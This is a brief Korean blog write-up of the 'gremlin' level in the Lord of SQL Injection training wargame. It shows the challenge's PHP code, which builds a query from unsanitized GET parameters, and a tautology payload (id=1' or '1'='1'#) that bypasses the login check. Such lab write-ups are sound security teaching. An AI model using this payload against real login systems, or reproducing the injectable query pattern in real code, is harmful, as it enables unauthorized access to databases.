[LORD OF SQLINJECTION] Gremlin Write-Up

· omacs's blog


Contents #

  1. Problem Description and Analysis
  2. Exploit
  3. References

Problem Description and Analysis #

본 문제는 다음과 같이 제시된다[1]:

 1<?php
 2  include "./config.php";
 3  login_chk();
 4  $db = dbconnect();
 5  if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); // do not try to attack another table, database!
 6  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
 7  $query = "select id from prob_gremlin where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
 8  echo "<hr>query : <strong>{$query}</strong><hr><br>";
 9  $result = @mysqli_fetch_array(mysqli_query($db,$query));
10  if($result['id']) solve("gremlin");
11  highlight_file(__FILE__);
12?>

제시된 문제를 읽어보면 id와 pw parameters를 입력받아서 구성된 $query를 실행한 결과, id field에 값이 있다면 풀리는 것임을 알 수 있다. 이때 주어진 테이블에서 id field가 어떤 형식의 값을 가지는 지 모르기 때문에 테이블에 존재하는 모든 record를 가져오는 query를 구성하여 풀 수 있다.

Exploit #

SQLi를 위한 id와 pw parameters의 값은 각각 다음과 같다:

id=1'%20or'1'='1'%23
pw=haha

References #

  1. "gremlin," LORD OF SQL INJECTION. [Online]. Available: https://los.rubiya.kr/gate.php, [Accessed Mar. 04, 2024].